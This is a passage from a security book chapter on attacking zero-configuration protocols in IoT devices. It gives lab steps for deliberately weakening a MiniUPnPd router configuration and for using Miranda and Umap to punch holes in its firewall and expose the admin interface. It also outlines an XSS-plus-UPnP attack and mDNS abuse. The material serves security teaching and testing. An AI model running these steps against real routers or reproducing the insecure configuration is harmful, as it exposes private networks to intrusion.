related to protocol analysis, but we highly recommend Attacking Network 
Protocols by James Forshaw (No Starch Press, 2018).



Zero-configuration networking is a set of tech-
nologies that automate the processes of 

assigning network addresses, distributing 
and resolving hostnames, and discovering net-

work services without the need for manual configura-
tion or servers. These technologies are meant to �  
operate in the local network and usually assume that the participants in 
an environment have agreed to participate in the service, a fact that allows 
attackers on the network to easily exploit them. 

IoT systems regularly use zero-configuration protocols to give the 
devices access to the network without requiring the user to intervene. In 
this chapter, we explore common vulnerabilities found in three sets of 
zero-configuration protocols—Universal Plug and Play (UPnP), multicast 
Domain Name System (mDNS)/Domain Name System Service Discovery 
(DNS-SD), and Web Services Dynamic Discovery (WS-Discovery)—and 
discuss how to conduct attacks against IoT systems that rely on them. We’ll 
bypass a firewall, gain access to documents by pretending to be a network 
printer, fake traffic to resemble an IP camera, and more.

6
E X P L O I T I N G  Z E R O -

C O N F I G U R A T I O N  N E T W O R K I N G
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Exploiting UPnP
The UPnP set of networking protocols automates the process of adding and 
configuring devices and systems on the network. A device that supports 
UPnP can dynamically join a network, advertise its name and capabilities, 
and discover other devices and their capabilities. People use UPnP applica-
tions to easily identify network printers, automate port mappings on home 
routers, and manage video streaming services, for example. 

But this automation comes at a price, as you’ll learn in this section. We’ll 
first provide an overview of UPnP and then set up a test UPnP server and 
exploit it to open holes in a firewall. We’ll also explain how other attacks 
against UPnP work and how to combine insecure UPnP implementations 
with other vulnerabilities to perform high-impact attacks.

A BR IE F HIS TORY OF UPNP V UL NE R A BIL I T IE S

UPnP has a long history of abuse. In 2001, attackers began performing buffer 
overflow and denial of service attacks against the UPnP implementation in the 
Windows XP stack. As many home modems and routers connected to the tele-
communication carrier’s network started using UPnP during the 2000s, Armijn 
Hemel of upnp-hacks.org began reporting on vulnerabilities in many such 
stacks. Then, in 2008, the security organization GNUcitizen discovered an 
innovative way of abusing a flaw in the Internet Explorer Adobe Flash plug-in 
(https://www.gnucitizen.org/blog/hacking-the-interwebs/) to execute a port-
forwarding attack in UPnP-enabled devices belonging to users who visited mali-
cious web pages. In 2011, at Defcon 19, Daniel Garcia presented a new tool 
called Umap (https://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP.pdf) that 
could exploit UPnP devices from the WAN by requesting port mappings through 
the internet. (We’ll use Umap in this chapter.) In 2012, HD Moore scanned the 
entire internet for UPnP flaws and, in 2013, published a whitepaper with some 
alarming results: Moore had found 81 million devices that exposed their ser-
vices to the public internet, along with various exploitable vulnerabilities in two 
popular UPnP stacks (https://information.rapid7.com/rs/411-NAK-970/images/
SecurityFlawsUPnP%20%281%29.pdf). Akamai followed this up in 2017 by  
identifying 73 different manufacturers suffering from a similar vulnerability 
(https://www.akamai.com/cn/zh/multimedia/documents/white-paper/upnproxy 
-blackhat-proxies-via-nat-injections-white-paper.pdf). These manufacturers pub-
licly exposed UPnP services that could lead to Network address translation 
(NAT) injections, which attackers could use to either create a proxy network or 
expose machines behind the LAN (an attack called UPnProxy). 

And these are only the highlights of UPnP’s history of insecurity. 

https://www.gnucitizen.org/blog/hacking-the-interwebs/
https://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP.pdf
https://information.rapid7.com/rs/411-NAK-970/images/SecurityFlawsUPnP%20%281%29.pdf
https://information.rapid7.com/rs/411-NAK-970/images/SecurityFlawsUPnP%20%281%29.pdf
https://www.akamai.com/cn/zh/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf
https://www.akamai.com/cn/zh/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf


Exploiting Zero-Configuration Networking   119

The UPnP Stack
The UPnP stack consists of six layers: addressing, discovery, description, 
control, eventing, and presentation.

In the addressing layer, UPnP-enabled systems try to get an IP address 
through DHCP. If that isn’t possible, they’ll self-assign an address from the 
169.254.0.0/16 range (RFC 3927), a process known as AutoIP.

Next is the discovery layer, in which the system searches for other 
devices on the network using the Simple Service Discovery Protocol 
(SSDP). The two ways to discover devices are actively and passively. When 
using the active method, UPnP-capable devices send a discovery message 
(called an M-SEARCH request) to the multicast address 239.255.255.250 on 
UDP port 1900. We call this request HTTPU (HTTP over UDP) because 
it contains a header similar to the HTTP header. The M-SEARCH request 
looks like this:

M-SEARCH * HTTP/1.1 
ST: ssdp:all 
MX: 5 
MAN: ssdp:discover 
HOST: 239.255.255.250:1900

UPnP systems that listen for this request are expected to reply with a 
UDP unicast message that announces the HTTP location of the description 
XML file, which lists the device’s supported services. (In Chapter 4, we 
demonstrated connecting to the custom network service of an IP webcam, 
which returned information similar to what would typically be in this kind 
of description XML file, suggesting the device might be UPnP capable.)

When using the passive method for discovering devices, UPnP-capable 
devices periodically announce their services on the network by sending a 
NOTIFY message to the multicast address 239.255.255.250 on UDP port 
1900. This message, which follows, looks like the one sent as a response to 
the active discovery:

NOTIFY * HTTP/1.1\r\n
HOST: 239.255.255.250:1900\r\n
CACHE-CONTROL: max-age=60\r\n
LOCATION: http://192.168.10.254:5000/rootDesc.xml\r\n
SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n
NT: urn:schemas-upnp-org:service:WANIPConnection:2\r\n

Any interested participant on the network can listen to these discovery 
messages and send a description query message. In the description layer, 
UPnP participants learn more about the device, its capabilities, and how 
to interact with it. The description of every UPnP profile is referenced in 
either the LOCATION field value of the response message received during 
active discovery or the NOTIFY message received during passive discovery. 
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The LOCATION field contains a URL that points to a description XML 
file consisting of the URLs used during the control and eventing phases 
(described next). 

The control layer is probably the most important one; it allows clients to 
send commands to the UPnP device using the URLs from the description 
file. They can do this using the Simple Object Access Protocol (SOAP), a messag-
ing protocol that uses XML over HTTP. Devices send SOAP requests to the 
controlURL endpoint, described in the <service> tag inside the description 
file. A <service> tag looks like this:

<service>
  <serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<SCPDURL>/WANIPCn.xml</SCPDURL>

1 <controlURL>/ctl/IPConn</controlURL>
2 <eventSubURL>/evt/IPConn</eventSubURL>

</service>

You can see the controlURL 1. The eventing layer notifies clients that 
have subscribed to a specific eventURL 2, also described in the service tag 
inside the description XML file. These event URLs are associated with 
specific state variables (also included in the description XML file) that 
model the state of the service at runtime. We won’t use state variables in 
this section.

The presentation layer exposes an HTML-based user interface for con-
trolling the device and viewing its status—for example, the web interface of 
a UPnP-capable camera or router.

Common UPnP Vulnerabilities
UPnP has a long history of buggy implementations and flaws. First of all, 
because UPnP was designed to be used inside LANs, there is no authentica-
tion on the protocol, which means that anyone on the network can abuse it. 

UPnP stacks are known for poorly validating input, which leads to flaws 
such as the unvalidated NewInternalClient bug. This bug allows you to use any 
kind of IP address, whether internal or external, for the NewInternalClient 
field in the device’s port-forwarding rules. This means that an attacker could 
turn a vulnerable router into a proxy. For example, imagine you add a port-
forwarding rule that sets NewInternalClient to the IP address of sock-raw.org, 
NewInternalPort to TCP port 80, and NewExternalPort to 6666. Then, by prob-
ing the router’s external IP on port 6666, you’d make the router probe the 
web server on sock-raw.org without your IP address showing in the target’s 
logs. We’ll walk through a variation of this attack in the next section.

On the same note, UPnP stacks sometimes contain memory corruption 
bugs, which can lead to remote denial of service attacks in the best-case sce-
nario and remote code execution in the worst-case one. For instance, attack-
ers have discovered devices that use SQL queries to update their in-memory 
rules while externally accepting new rules through UPnP, making them sus-
ceptible to SQL injection attacks. Also, because UPnP relies on XML, weakly 
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configured XML-parsing engines can fall victim to External Entity (XXE) 
attacks. In these attacks, the engine processes potentially malicious input 
containing references to an external entity, disclosing sensitive information 
or causing other impacts to the system. To make matters worse, the specifica-
tion discourages, but doesn’t outright ban, UPnP on internet-facing WAN 
interfaces. Even if some vendors follow the recommendation, bugs in the 
implementation often allow WAN requests to go through. 

Last but not least, devices often don’t log UPnP requests, which means 
the user has no way of knowing if an attacker is actively abusing it. Even 
if the device supports UPnP logging, the log is typically stored client side on 
the device and doesn’t have configurable options through its user interface. 

Punching Holes Through Firewalls
Let’s perform what is perhaps the most common attack against UPnP: 
punching unsolicited holes through firewalls. In other words, this attack 
will add or modify a rule in the firewall configuration that exposes an oth-
erwise protected network service. By doing so, we’ll walk through the differ-
ent UPnP layers and gain a better understanding of how the protocol works.

How the Attack Works 

This firewall attack relies on the inherent permissiveness of the Internet 
Gateway Device (IGD) protocol implemented via UPnP. IGD maps ports in 
network address translation (NAT) setups.

Almost every home router uses NAT, a system that allows multiple 
devices to share the same external IP address by remapping the IP 
address to a private network address. The external IP is typically the 
public address your internet service provider assigns to your modem 
or router. The private IP addresses can be any of the standard RFC 
1918 range: 10.0.0.0–10.255.255.255 (class A), 172.16.0.0–172.31.255.255 
(class B), or 192.168.0.0–192.168.255.255 (class C). 

Although NAT is convenient for home solutions and conserves IPv4 
address space, it does have some flexibility problems. For example, what 
happens when applications, such as BitTorrent clients, need other systems 
to connect to them on a specific public port but are behind a NAT device? 
Unless that port is exposed on the device’s internet-facing network, no peer 
can connect. One solution is to have the user manually configure port for-
warding on their router. But that would be inconvenient, especially if the 
port had to change for every connection. Also, if the port was statically con-
figured in the router’s port-forwarding settings, any other application that 
needed to use that specific port couldn’t. The reason is that external port 
mapping would already be associated with a specific internal port and IP 
address and, therefore, would have to be reconfigured for every connection. 

This is where IGD comes to the rescue. IGD allows an application to 
dynamically add a temporary port mapping on the router for a certain time 
period. It solves both problems: users don’t need to manually configure 
port forwarding, and it allows the port to change for every connection. 
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But attackers can abuse IGD in insecurely configured UPnP setups. 
Normally, systems behind the NAT device should be able to perform port 
forwarding on their own ports only. The problem is that many IoT devices, 
even nowadays, allow anyone on the network to add port mappings for 
other systems. This allows attackers on the network to do malicious things, 
such as exposing the administration interface of a router to the internet. 

Setting Up a Test UPnP Server

We’ll start by setting up MiniUPnP, a lightweight implementation of a 
UPnP IGD server, on an OpenWrt image so we have a UPnP server to 
attack. OpenWrt is an open source, Linux-based operating system target-
ing embedded devices and is primarily used for network routers. You can 
skip this setup section if you download the vulnerable OpenWrt VM from 
https://nostarch.com/practical-iot-hacking/. 

Walking through the OpenWrt setup is beyond the scope of this book, 
but you can find a guide for its setup at https://openwrt.org/docs/guide-user/
virtualization/vmware. Convert a snapshot of OpenWrt/18.06 to a VMware-
compatible image and run it using the VMware workstation or player on a 
local lab network. You can find the x86 snapshot we used for OpenWrt ver-
sion 18.06 at https://downloads.openwrt.org/releases/18.06.4/targets/x86/generic/
openwrt-18.06.4-x86-generic-combined-ext4.img.gz.

Next, set up your network configuration, which is particularly impor-
tant to clearly demonstrate the attack. We configured two network adapters 
in the virtual machine’s settings:

•	 One that is bridged on the local network and corresponds to eth0 
(the LAN interface). In our case, we statically configured it to have 
the IP address 192.168.10.254 corresponding to our local network lab. 
We configured the IP address by manually editing the /etc/network/
config file of our OpenWrt VM. Adjust this to reflect your local network 
configuration. 

•	 One that is configured as VMware’s NAT interface and corresponds to 
eth1 (the WAN interface). It was automatically assigned the IP address 
192.168.92.148 through DHCP. This one emulates the external, or PPP, 
interface of the router that would be connected to the internet service 
provider and have a public IP address.

If you haven’t worked with VMware before, the guide at https://www 
.vmware.com/support/ws45/doc/network_configure_ws.html can help you set up 
additional network interfaces for your virtual machine. Although it men-
tions version 4.5, the instructions are applicable for every modern VMware 
implementation. If you’re using VMware Fusion on macOS, the guide at 
https://docs.vmware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/
GUID-E498672E-19DD-40DF-92D3-FC0078947958.html can help you. In either 
case, add a second network adapter and change its settings to NAT (called 
“Share with My Mac” on Fusion), and then modify the first network adapter 
to be Bridged (called “Bridged Networking” on Fusion).

https://nostarch.com/practical-iot-hacking/
https://openwrt.org/docs/guide-user/virtualization/vmware
https://openwrt.org/docs/guide-user/virtualization/vmware
https://downloads.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-combined-ext4.img.gz
https://downloads.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-combined-ext4.img.gz
https://www.vmware.com/support/ws45/doc/network_configure_ws.html
https://www.vmware.com/support/ws45/doc/network_configure_ws.html
https://docs.vmware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/GUID-E498672E-19DD-40DF-92D3-FC0078947958.html
https://docs.vmware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/GUID-E498672E-19DD-40DF-92D3-FC0078947958.html
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You might want to configure the VMware settings so the bridged mode 
applies only to the adapter that is actually connected to your local network. 
Because you have two adapters, VMware’s auto-bridge feature might try to 
bridge with the one that isn’t connected. It’s typical to have one Ethernet 
and one Wi-Fi adapter, so make sure you check which one is connected to 
which network.

Now the network interfaces part of the OpenWrt VM’s /etc/config/network 
file should look something like this:

config interface 'lan'
        option ifname 'eth0'
        option proto 'static'
        option ipaddr '192.168.10.254'
        option netmask '255.255.255.0'
        option ip6assign '60'
        option gateway '192.168.10.1'

config interface 'wan'
        option ifname 'eth1'
        option proto 'dhcp'

config interface 'wan6'
        option ifname 'eth1'
        option proto 'dhcpv6'

Make sure your OpenWrt has internet connectivity, and then enter the 
following command in your shell to install the MiniUPnP server and luci-
app-upnp. The luci-app-upnp package lets you configure and display UPnP 
settings through Luci, the default web interface for OpenWrt:

# opkg update && opkg install miniupnpd luci-app-upnp

We then need to configure MiniUPnPd. Enter the following command 
to edit the file with Vim (or use the text editor of your choice):

# vim /etc/init.d/miniupnpd

Scroll down to where the file mentions config_load "upnpd" for the sec-
ond time (in MiniUPnP version 2.1-1, this is at line 134.) Change the set-
tings as follows:

config_load "upnpd"
upnpd_write_bool enable_natpmp 1
upnpd_write_bool enable_upnp 1
upnpd_write_bool secure_mode 0

The most important change is to disable secure_mode. Disabling this set-
ting allows clients to redirect incoming ports to IP addresses other than 
themselves. This setting is enabled by default, which means the server 
would forbid an attacker from adding port mappings that would redirect to 
any other IP address. 
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The config_load "upnpd" command also loads additional settings from 
the /etc/config/upnpd file, which you should change to look as follows:

config upnpd 'config'
        option download '1024'
        option upload '512'
        option internal_iface 'lan'
        option external_iface 'wan' 1
        option port '5000'
        option upnp_lease_file '/var/run/miniupnpd.leases'
        option enabled '1' 2
        option uuid '125c09ed-65b0-425f-a263-d96199238a10'
        option secure_mode '0'
        option log_output '1'

config perm_rule
        option action 'allow'
        option ext_ports '1024-65535'
        option int_addr '0.0.0.0/0'
        option int_ports '0-65535'3
        option comment 'Allow all ports'

First, you have to manually add the external interface option 1; other-
wise, the server won’t allow port redirection to the WAN interface. Second, 
enable the init script to launch MiniUPnP 2. Third, allow redirections to 
all internal ports 3, starting from 0. By default, MiniUPnPd allows redirec-
tions to certain ports only. We deleted all other perm_rules. If you copy the  
/etc/config/upnpd  file as shown here, you should be good to go.

After completing the changes, restart the MiniUPnP daemon using the 
following command:

# /etc/init.d/miniupnpd restart

You’ll also have to restart the OpenWrt firewall after restarting the 
server. The firewall is part of the Linux operating system, and OpenWrt 
comes with it enabled by default. You can easily do so by browsing to the 
web interface at http://192.168.10.254/cgi-bin/luci/admin/status/iptables/ and 
clicking Restart Firewall, or by entering the following command in a 
terminal:

# /etc/init.d/firewall restart

Current versions of OpenWrt are more secure, and we’re deliberately 
making this server insecure for the purposes of this exercise. Nevertheless, 
countless available IoT products are configured like this by default.

Punching Holes in the Firewall

With our test environment set up, let’s try the firewall hole-punching attack 
by abusing IGD. We’ll use IGD’s WANIPConnection subprofile, which supports 
the AddPortMapping and DeletePortMapping actions for adding and removing 

http://192.168.10.254/cgi-bin/luci/admin/status/iptables/ 
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port mappings, correspondingly. We’ll use the AddPortMapping command 
with the UPnP testing tool Miranda, which is preinstalled on Kali Linux. 
If you don't have Miranda preinstalled, you can always get it from https://
github.com/0x90/miranda-upnp/—note that you'll need Python 2 to run it. 
Listing 6-1 uses Miranda to punch a hole through the firewall on the vul-
nerable OpenWrt router. 

# miranda
upnp> msearch
upnp> host list 
upnp> host get 0
upnp> host details 0 
upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Set NewPortMappingDescription value to: test
Set NewLeaseDuration value to: 0
Set NewInternalClient value to: 192.168.10.254
Set NewEnabled value to: 1
Set NewExternalPort value to: 5555
Set NewRemoteHost value to: 
Set NewProtocol value to: TCP
Set NewInternalPort value to: 80

Listing 6-1: Punching a hole in the OpenWrt router with Miranda

The msearch command sends an M-SEARCH * packet to the multicast 
address 239.255.255.250 on UDP port 1900, completing the active discov-
ery stage, as described in “The UPnP Stack” on page 119. You can press 
CTRL-C at any time to stop waiting for more replies, and you should do so 
when your target responds. 

The host 192.168.10.254 should now appear on the host list, a list of tar-
gets the tool keeps track of internally, along with an associated index. Pass 
the index as an argument to the host get command to fetch the rootDesc.xml 
description file. Once you do so, host details should display all supported IGD 
profiles and subprofiles. In this case, WANIPConnection under WANConnectionDevice 
should show up for our target.

Finally, we send the AddPortMapping command to the host to redirect the 
external port 5555 (randomly chosen) to the web server’s internal port, expos-
ing the web administration interface to the internet. When we enter the com-
mand, we have to then specify its arguments. The NewPortMappingDescription 
is any string value, and it’s normally displayed in the router’s UPnP settings 
for the mapping. The NewLeaseDuration sets how long the port mapping will be 
active. The value 0, shown here, means unlimited time. The NewEnabled argu-
ment can be 0 (meaning inactive) or 1 (meaning active). The NewInternalClient 
refers to the IP address of the internal host that the mapping is associated 
with. The NewRemoteHost is usually empty. Otherwise, it would restrict the port 
mapping to only that particular external host. The NewProtocol can be TCP 
or UDP. The NewInternalValue is the port of the NewInternalClient host that the 
traffic coming on the NewExternalPort will be forwarded to. 

We should now be able to see the new port mapping by visiting the web 
interface for the OpenWrt router at 192.168.10.254/cgi/bin/luci/admin/services/ 
upnp (Figure 6-1).

https://github.com/0x90/miranda-upnp/
https://github.com/0x90/miranda-upnp/
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Figure 6-1: We should see the new port mapping in the Luci interface.

To test whether our attack was successful, let’s visit our router’s external 
IP address 192.168.92.148 on the forwarded port 5555. Remember that the 
private web interface shouldn’t normally be accessible through the public-
facing interface. Figure 6-2 shows the result. 

Figure 6-2: The accessible web interface

After we sent the AddPortMapping command, the private web interface 
became accessible through the external interface on port 5555.

Abusing UPnP Through WAN interfaces
Next, let’s abuse UPnP remotely through the WAN interface. This tactic 
could allow an external attacker to do some damage, such as forward ports 
from hosts inside the LAN or execute other useful IGD commands, like the 
self-explanatory GetPassword or GetUserName. You can perform this attack in 
buggy or insecurely configured UPnP implementations. 

To perform this attack, we’ll use Umap, a tool written specifically for 
this purpose.

How the Attack Works

As a security precaution, most devices don’t normally accept SSDP packets 
through the WAN interface, but some of them can still accept IGD com-
mands through open SOAP control points. This means that an attacker can 
interact with them directly from the internet.  

For that reason, Umap skips the discovery phase of the UPnP stack 
(the phase in which a device uses SSDP to discover other devices on the 
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network) and tries to directly scan for the XML description files. If it 
finds one, it then moves on to UPnP’s control step and tries to interact 
with the device by sending it SOAP requests directed at the URL in the 
description file. 

Figure 6-3 shows the flow diagram for Umap’s scan of internal 
networks.

Start

End

2. Guess internal 
LAN IP block

1. Scan for IGD 
control points

3. Add port mapping 
from WAN to LAN

6a. Delete port 
mapping

6b. Report about 
open port

4. TCP scan 
mapped port

7. Done with 
current port

For each 
common port

5. Is the 
port open?

loop end

try next port in commonPorts 

No Yes

Figure 6-3: The Umap flow diagram for scanning hosts

Umap first tries to scan for IGD control points by testing a variety of 
known XML file locations (such as /rootDesc.xml or /upnp/IGD.xml). After 
it finds one successfully, Umap tries to guess the internal LAN IP block. 
Remember that you’re scanning the external (internet-facing) IP address, 
so the IP addresses behind the NAT device will be different. 

Next, Umap sends an IGD port-mapping command for each common 
port, forwarding that port to the WAN. Then it tries to connect to that port. 
If the port is closed, it sends an IGD command to delete the port mapping. 
Otherwise, it reports that the port is open and leaves the port mapping 
as-is. By default, it scans the following common ports (hardcoded in the 
commonPorts variable in umap.py):

commonPorts = ['21','22','23','80','137','138','139','443','445','3389', 
'8080']
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Of course, you can edit the commonPorts variable and try to forward other 
ports. You can find a good reference for the most commonly used TCP ports 
by running the following Nmap command: 

# nmap --top-ports 100 -v -oG –
Nmap 7.70 scan initiated Mon Jul  8 00:36:12 2019 as: nmap --top-ports 100 -v -oG -
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-
111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-
544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-
2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,56-
31,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-
10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)

Getting and Using Umap 

Umap was first released at Defcon 19 by Daniel Garcia; you can find the lat-
est version of it on the tool author’s website at https://toor.do/umap-0.8.tar.gz. 
After extracting the compressed tarball Umap, you might also need to install 
SOAPpy and iplib:

# apt-get install pip
# pip install SOAPpy
# pip install iplib

Umap is written in Python 2, which is no longer officially maintained; 
so if your Linux distribution doesn’t have the Python 2 pip package manager 
available, you’ll need to download it manually from https://pypi.org/project/ 
pip/#files. Download the latest version of the source and run it like this:

# tar -xzf pip-20.0.2.tar.gz
# cd pip-20.0.2
# python2.7 setup install

Run Umap with the following command (replacing the IP address with 
your target’s external IP address):

# ./umap.py -c -i 74.207.225.18

Once you run it, Umap will go through the flow diagram shown in 
Figure 6-3. Even if the device doesn’t advertise an IGD command (mean-
ing that the command might not be necessarily listed as controlURL in the 
description XML file), some systems still accept the commands because of 
buggy UPnP implementations. So, you should always try all of them in a 
proper security test. Table 6-1 contains a list of IGD commands to test.

Table 6-1: A List of Possible IGD Commands

SetConnectionType Sets up a specific connection type.

GetConnectionTypeInfo Retrieves the values of the current connection type 
and allowable connection types.

https://toor.do/umap-0.8.tar.gz
https://pypi.org/project/pip/#files
https://pypi.org/project/pip/#files
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ConfigureConnection Send this command to configure a PPP connection 
on the WAN device and change ConnectionStatus 
to Disconnected from Unconfigured.

RequestConnection Initiates a connection on an instance of a con-
nection service that has a configuration already 
defined.

RequestTermination Send this command to any connection instance in 
Connected, Connecting, or Authenticating state to 
change ConnectionStatus to Disconnected.

ForceTermination Send this command to any connection instance 
in Connected, Connecting, Authenticating, 
PendingDisconnect, or Disconnecting state to 
change ConnectionStatus to Disconnected.

SetAutoDisconnectTime Sets the time (in seconds) after which an active con-
nection is automatically disconnected.

SetIdleDisconnectTime Specifies the idle time (in seconds) after which a 
connection can be disconnected.

SetWarnDisconnectDelay Specifies the number of seconds of warning to each 
(potentially) active user of a connection before a 
connection is terminated.

GetStatusInfo Retrieves the values of state variables pertaining to 
connection status.

GetLinkLayerMaxBitRates Retrieves the maximum upstream and downstream 
bit rates for the connection.

GetPPPEncryptionProtocol Retrieves the link layer (PPP) encryption protocol. 

GetPPPCompressionProtocol Retrieves the link layer (PPP) compression protocol. 

GetPPPAuthenticationProtocol Retrieves the link layer (PPP) authentication protocol.

GetUserName Retrieves the username used for the activation of a 
connection.

GetPassword Retrieves the password used for the activation of a 
connection.

GetAutoDisconnectTime Retrieves the time (in seconds) after which an active 
connection is automatically disconnected.

GetIdleDisconnectTime Retrieves the idle time (in seconds) after which a 
connection can be disconnected.

GetWarnDisconnectDelay Retrieves the number of seconds of warning to each 
(potentially) active user of a connection before a 
connection is terminated.

GetNATRSIPStatus Retrieves the current state of NAT and Realm-
Specific IP (RSIP) on the gateway for this 
connection.

GetGenericPortMappingEntry Retrieves NAT port mappings one entry at a time.

GetSpecificPortMappingEntry Reports the Static Port Mapping specified by the 
unique tuple of RemoteHost, ExternalPort, and 
PortMappingProtocol.
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AddPortMapping Creates a new port mapping or overwrites an exist-
ing mapping with the same internal client. If the 
ExternalPort and PortMappingProtocol pair is 
already mapped to another internal client, an error 
is returned.

DeletePortMapping Deletes a previously instantiated port mapping. As 
each entry is deleted, the array is compacted, and 
the evented variable PortMappingNumberOfEntries 
is decremented.

GetExternalIPAddress Retrieves the value of the external IP address on this 
connection instance.

Note that the latest public version (0.8) of Umap doesn’t automatically 
test these commands. You can find more detailed information about  
them at the official specification at http://upnp.org/specs/gw/UPnP-gw 
-WANPPPConnection-v1-Service.pdf/.

After Umap identifies an internet-exposed IGD, you can use Miranda to 
manually test these commands. Depending on the command, you should get 
various replies. For example, going back to our vulnerable OpenWrt router and 
running Miranda against it, we can see the output of some of these commands: 

upnp> host send 0 WANConnectionDevice  WANIPv6FirewallControl  GetFirewallStatus
InboundPinholeAllowed : 1
FirewallEnabled : 1
upnp> host send 0 WANConnectionDevice WANIPConnection GetStatusInfo
NewUptime : 10456
NewLastConnectionError : ERROR_NONE
NewConnectionStatus : Connected

But the tool might not always indicate that the command succeeded, 
so remember to have a packet analyzer like Wireshark active at all times to 
understand what happens behind the scenes. 

Remember that running host details will give you a long list of all the 
advertised commands, but you should still try to test them all. The follow-
ing output shows only the first portion of the list for the OpenWrt system we 
configured earlier:

upnp> host details 0
Host name:          [fd37:84e0:6d4f::1]:5000
UPNP XML File:      http://[fd37:84e0:6d4f::1]:5000/rootDesc.xml

Device information: 
    Device Name: InternetGatewayDevice
        Service Name: Device Protection
            controlURL: /ctl/DP
            eventSUbURL: /evt/DP
            serviceId: urn:upnp-org:serviceId:DeviceProtection1
            SCPDURL: /DP.xml
            fullName: urn:schemas-upnp-org:service:DeviceProtection:1
            ServiceActions:

Table 6-1: A List of Possible IGD Commands (continued)

http://upnp.org/specs/gw/UPnP-gw-WANPPPConnection-v1-Service.pdf/
http://upnp.org/specs/gw/UPnP-gw-WANPPPConnection-v1-Service.pdf/
http://[fd37:84e0:6d4f::1]:5000/rootDesc.xml
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                GetSupportedProtocols
                    ProtocolList
                        SupportedProtocols: 
                            dataType: string
                            sendEvents: N/A
                            allowedVallueList: []
                         direction: out
                SendSetupMessage       
                …

This output contains only a small portion of the long list of advertised 
UPnP commands.

Other UPnP Attacks
You could try other attacks against UPnP as well. For example, you could 
exploit a pre-authentication XSS vulnerability on a router’s web interface 
using UPnP’s port-forwarding capability. This kind of attack would work 
remotely, even if the router blocks WAN requests. To do so, you would 
first socially engineer the user to visit a website that hosts the malicious 
JavaScript payload with the XSS. The XSS would allow the vulnerable 
router to enter the same LAN as the user, so you could send it commands 
through its UPnP service. These commands, in the form of specially crafted 
XML requests inside an XMLHttpRequest object, can force the router to 
forward ports from inside the LAN to the internet.  

Exploiting mDNS and DNS-SD
Multicast DNS (mDNS) is a zero-configuration protocol that lets you perform 
DNS-like operations on the local network in the absence of a conventional, 
unicast DNS server. The protocol uses the same API, packet formats, and 
operating semantics as DNS, allowing you to resolve domain names on the 
local network. DNS Service Discovery (DNS-SD) is a protocol that allows clients 
to discover a list of named instances of services (such as test._ipps._tcp.local, 
or linux._ssh._tcp.local) in a domain using standard DNS queries. DNS-SD is 
most often used in conjunction with mDNS but isn’t dependent on it. They’re 
both used by many IoT devices, such as network printers, Apple TVs, Google 
Chromecast, Network-Attached Storage (NAS) devices, and cameras. Most 
modern operating systems support them. 

Both protocols operate within the same broadcast domain, which means 
that devices share the same data link layer, also called the local link or layer 2 
in the computer networking Open Systems Interconnection (OSI) model. 
This means messages won’t pass through routers, which operate at layer 3. 
The devices must be connected to the same Ethernet repeaters or network 
switches to listen and reply to these multicast messages.

Local-link protocols can introduce vulnerabilities for two reasons. First, 
even though you’ll normally encounter these protocols in the local link, the 
local network isn’t necessarily a trusted one with cooperating participants. 
Complex network environments often lack proper segmentation, allowing 
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attackers to pivot from one part of the network to the other (for example, 
by compromising the routers). In addition, corporate environments often 
employ Bring Your Own Device (BYOD) policies that allow staff to use their 
personal devices in these networks. This situation gets even worse in public 
networks, such as those in airports or cafes. Second, insecure implementa-
tions of these services can allow attackers to exploit them remotely, com-
pletely bypassing the local-link containment. 

In this section, we’ll examine how to abuse these two protocols in IoT 
ecosystems. You can perform reconnaissance, man-in-the-middle attacks, 
denial of service attacks, unicast DNS cache poisoning, and more! 

How mDNS Works
Devices use mDNS when the local network lacks a conventional unicast DNS 
server. To resolve a domain name for a local address using mDNS, the device 
sends a DNS query for a domain name ending with .local to the multicast 
address 224.0.0.251 (for IPv4) or FF02::FB (for IPv6). You can also use mDNS 
to resolve global domain names (non .local ones), but mDNS implementa-
tions are supposed to disable this behavior by default. mDNS requests and 
responses use UDP and port 5353 as both the source and destination port. 

Whenever a change in the connectivity of an mDNS responder occurs, 
it must perform two activities: Probing and Announcing. During Probing, 
which happens first, the host queries (using the query type "ANY", which 
corresponds to the value 255 in the QTYPE field in the mDNS packet) 
the local network to check whether the records it wants to announce are 
already in use. If they aren’t in use, the host then Announces its newly regis-
tered records (contained in the packet’s Answer section) by sending unso-
licited mDNS responses to the network.

The mDNS replies contain several important flags, including a Time-
to-Live (TTL) value that signifies how many seconds the record is valid. 
Sending a reply with TTL=0 means that the corresponding record should be 
cleared. Another important flag is the QU bit, which denotes whether or 
not the query is a unicast query. If the QU bit isn’t set, the packet is a multi-
cast query (QM). Because it’s possible to receive unicast queries outside of 
the local link, secure mDNS implementations should always check that the 
source address in the packet matches the local subnet address range.

How DNS-SD Works
DNS-SD allows clients to discover available services on the network. To use 
it, clients send standard DNS queries for pointer records (PTR), which map 
the type of service to a list of names of specific instances of that type of 
service. 

To request a PTR record, clients use the name form "<Service>.<Domain>". 
The <Service> part is a pair of DNS labels: an underscore character, fol-
lowed by the service name (for example, _ipps, _printer, or _ipp) and either 
_tcp or _udp. The <Domain> portion is ".local". Responders then return the 
PTR records that point to the accompanying service (SRV) and text (TXT) 
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records. An mDNS PTR record contains the name of the service, which is 
the same as the name of the SRV record without the instance name: in other 
words, it points to the SRV record. Here is an example of a PTR record:  

_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local

